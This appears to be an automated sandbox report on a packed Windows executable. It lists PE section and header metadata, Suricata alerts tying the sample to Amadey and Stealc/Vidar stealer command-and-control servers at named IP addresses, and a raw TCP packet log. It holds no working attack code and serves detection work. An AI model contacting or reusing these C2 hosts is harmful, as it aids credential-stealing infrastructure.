add byte ptr [eax], al
add byte ptr [eax+eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop ds
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	d06e11013f834a85bd456f1394e2e085	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	b6501a31693f0eb4728698d6e9d411c8	False	0.798828125	data	6.051039370182751	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b0000	0x200	a144d0976894c4eda43ebc7656443f48	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vazpyjtr	0x4fc000	0x1a5000	0x1a4800	dd09e54e28ae0937459b12a97a281305	False	0.9946858046596314	data	7.953639245089198	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rueovwau	0x6a1000	0x1000	0x400	efd9d96535fe193f53bc3efff480ecf5	False	0.708984375	data	5.6869223807548845	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a2000	0x3000	0x2200	d9216181fd64978b9a7d0768d5e02f45	False	0.08846507352941177	DOS executable (COM)	1.190780827232027	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6a04f4	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-24T00:06:08.895471+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50125	TCP
2024-11-24T00:06:20.217993+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49720	185.215.113.206	80	TCP
2024-11-24T00:06:20.685627+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49720	185.215.113.206	80	TCP
2024-11-24T00:06:20.806474+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49720	TCP
2024-11-24T00:06:21.144307+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49720	185.215.113.206	80	TCP
2024-11-24T00:06:21.476947+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49720	TCP
2024-11-24T00:06:22.909854+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49720	185.215.113.206	80	TCP
2024-11-24T00:06:23.950477+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49720	185.215.113.206	80	TCP
2024-11-24T00:06:45.971211+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49818	185.215.113.206	80	TCP
2024-11-24T00:06:48.027246+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49818	185.215.113.206	80	TCP
2024-11-24T00:06:49.853440+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49818	185.215.113.206	80	TCP
2024-11-24T00:06:51.147778+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49818	185.215.113.206	80	TCP
2024-11-24T00:06:55.175844+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49818	185.215.113.206	80	TCP
2024-11-24T00:06:56.293218+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49818	185.215.113.206	80	TCP
2024-11-24T00:07:02.407780+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49950	185.215.113.16	80	TCP
2024-11-24T00:08:06.940761+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50117	185.215.113.43	80	TCP
2024-11-24T00:08:11.981791+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50129	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 00:06:08.895471096 CET	49713	443	192.168.2.6	20.198.118.190
Nov 24, 2024 00:06:08.964914083 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:08.965087891 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:08.965106964 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:08.965250969 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:08.965266943 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:08.965269089 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:08.965286970 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:08.965337038 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:08.965392113 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:08.973342896 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:08.973373890 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:08.973464012 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:08.981774092 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:08.981967926 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:08.982048035 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:08.990199089 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:09.015006065 CET	443	49713	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:09.031869888 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:09.437524080 CET	443	49713	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:09.439460993 CET	49713	443	192.168.2.6	20.198.118.190
Nov 24, 2024 00:06:09.439518929 CET	49713	443	192.168.2.6	20.198.118.190
Nov 24, 2024 00:06:09.439630985 CET	49713	443	192.168.2.6	20.198.118.190
Nov 24, 2024 00:06:09.559304953 CET	443	49713	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:09.559357882 CET	443	49713	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:09.559387922 CET	443	49713	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:09.981275082 CET	443	49713	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:10.031848907 CET	49713	443	192.168.2.6	20.198.118.190
Nov 24, 2024 00:06:10.172993898 CET	443	49713	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:10.175760984 CET	49713	443	192.168.2.6	20.198.118.190
Nov 24, 2024 00:06:10.295361042 CET	443	49713	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:10.716908932 CET	443	49713	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:10.766211033 CET	49713	443	192.168.2.6	20.198.118.190
Nov 24, 2024 00:06:11.490293980 CET	49714	443	192.168.2.6	20.198.118.190
Nov 24, 2024 00:06:11.490324974 CET	443	49714	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:11.490423918 CET	49714	443	192.168.2.6	20.198.118.190
Nov 24, 2024 00:06:11.491045952 CET	49714	443	192.168.2.6	20.198.118.190
Nov 24, 2024 00:06:11.491060972 CET	443	49714	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:12.047445059 CET	49673	443	192.168.2.6	173.222.162.64
Nov 24, 2024 00:06:12.048082113 CET	49674	443	192.168.2.6	173.222.162.64
Nov 24, 2024 00:06:12.375720978 CET	49672	443	192.168.2.6	173.222.162.64
Nov 24, 2024 00:06:13.750041008 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:13.750128984 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:13.752585888 CET	443	49714	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:13.752686024 CET	49714	443	192.168.2.6	20.198.118.190
Nov 24, 2024 00:06:13.756784916 CET	49714	443	192.168.2.6	20.198.118.190
Nov 24, 2024 00:06:13.756794930 CET	443	49714	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:13.757041931 CET	443	49714	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:13.759867907 CET	49714	443	192.168.2.6	20.198.118.190
Nov 24, 2024 00:06:13.759931087 CET	49714	443	192.168.2.6	20.198.118.190
Nov 24, 2024 00:06:13.759936094 CET	443	49714	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:13.760094881 CET	49714	443	192.168.2.6	20.198.118.190
Nov 24, 2024 00:06:13.765256882 CET	49715	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:13.765311956 CET	443	49715	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:13.765398026 CET	49715	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:13.765629053 CET	49715	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:13.765644073 CET	443	49715	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:13.771039963 CET	49716	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:13.771099091 CET	443	49716	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:13.771192074 CET	49716	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:13.771378994 CET	49716	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:13.771401882 CET	443	49716	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:13.807334900 CET	443	49714	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:13.869638920 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:13.869661093 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:13.869726896 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:13.869741917 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:13.869761944 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:14.314477921 CET	443	49714	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:14.314596891 CET	443	49714	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:14.314759970 CET	49714	443	192.168.2.6	20.198.118.190
Nov 24, 2024 00:06:14.315402031 CET	49714	443	192.168.2.6	20.198.118.190
Nov 24, 2024 00:06:14.315418959 CET	443	49714	20.198.118.190	192.168.2.6
Nov 24, 2024 00:06:14.401577950 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:14.401586056 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:14.401820898 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:14.403965950 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:14.404073000 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:14.404170036 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:14.412471056 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:14.412565947 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:14.412801027 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:14.420933962 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:14.421037912 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:14.421128035 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:14.429389954 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:14.429435968 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:14.429524899 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:14.437788963 CET	443	49712	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:14.484993935 CET	49712	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:15.707909107 CET	443	49715	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:15.708072901 CET	49715	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:15.735495090 CET	49715	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:15.735517025 CET	443	49715	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:15.736023903 CET	443	49715	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:15.736602068 CET	49715	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:15.736644983 CET	49715	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:15.736721992 CET	443	49715	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:15.749000072 CET	443	49716	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:15.749075890 CET	49716	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:15.754900932 CET	49716	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:15.754964113 CET	443	49716	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:15.755242109 CET	443	49716	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:15.755597115 CET	49716	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:15.755639076 CET	49716	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:15.755685091 CET	443	49716	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:16.477155924 CET	443	49715	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:16.477179050 CET	443	49715	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:16.477225065 CET	443	49715	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:16.477283955 CET	443	49715	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:16.477288961 CET	49715	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:16.477428913 CET	49715	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:16.478887081 CET	443	49716	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:16.478908062 CET	443	49716	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:16.478949070 CET	443	49716	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:16.479005098 CET	49716	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:16.479033947 CET	443	49716	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:16.479048967 CET	49716	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:16.483714104 CET	49715	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:16.483743906 CET	443	49715	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:16.483760118 CET	49715	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:16.483767033 CET	443	49715	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:16.485594034 CET	443	49716	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:16.485672951 CET	49716	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:16.527686119 CET	49716	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:16.527687073 CET	49716	443	192.168.2.6	20.190.181.3
Nov 24, 2024 00:06:16.527740955 CET	443	49716	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:16.527770042 CET	443	49716	20.190.181.3	192.168.2.6
Nov 24, 2024 00:06:18.175367117 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:18.294919968 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:18.295032978 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:18.295797110 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:18.379497051 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:18.379530907 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:18.379664898 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:18.380089998 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:18.380103111 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:18.415379047 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:19.744997025 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:19.745086908 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:19.750622988 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:19.870094061 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:20.217894077 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:20.217993021 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:20.227574110 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:20.280231953 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:20.280380964 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:20.328558922 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:20.328572035 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:20.328974009 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:20.347043991 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:20.348289967 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:20.391350985 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:20.685561895 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:20.685581923 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:20.685626984 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:20.685657978 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:20.686988115 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:20.772975922 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:20.773039103 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:20.773060083 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:20.773103952 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:20.773138046 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:20.773154020 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:20.773185968 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:20.806473970 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:20.970105886 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:20.970130920 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:20.970215082 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:20.970223904 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:20.970266104 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.050542116 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.050564051 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.050621033 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.050626993 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.050664902 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.050688982 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.144208908 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:21.144234896 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:21.144306898 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:21.144391060 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:21.144411087 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:21.144433022 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:21.144433022 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:21.144453049 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:21.144458055 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:21.144488096 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:21.144527912 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:21.153634071 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:21.153697968 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:21.165169954 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.165196896 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.165237904 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.165250063 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.165290117 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.165309906 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.193536043 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.193557978 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.193603992 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.193609953 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.193679094 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.211308956 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.211342096 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.211381912 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.211388111 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.211442947 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.231956005 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.231980085 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.232034922 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.232040882 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.232091904 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.355773926 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:21.355885983 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:21.357424974 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:21.367599964 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.367681980 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.367687941 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.367712021 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.367750883 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.367774963 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.383064032 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.383148909 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.383153915 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.383177996 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.383209944 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.383233070 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.396562099 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.396610022 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.396637917 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.396642923 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.396694899 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.412101030 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.412147045 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.412177086 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.412182093 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.412211895 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.412234068 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.425555944 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.425705910 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.425744057 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.425800085 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.462964058 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.463006020 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.463067055 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.464400053 CET	49723	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.464452028 CET	443	49723	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.464515924 CET	49723	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.466007948 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:21.466025114 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:21.467401028 CET	49723	443	192.168.2.6	13.107.246.63
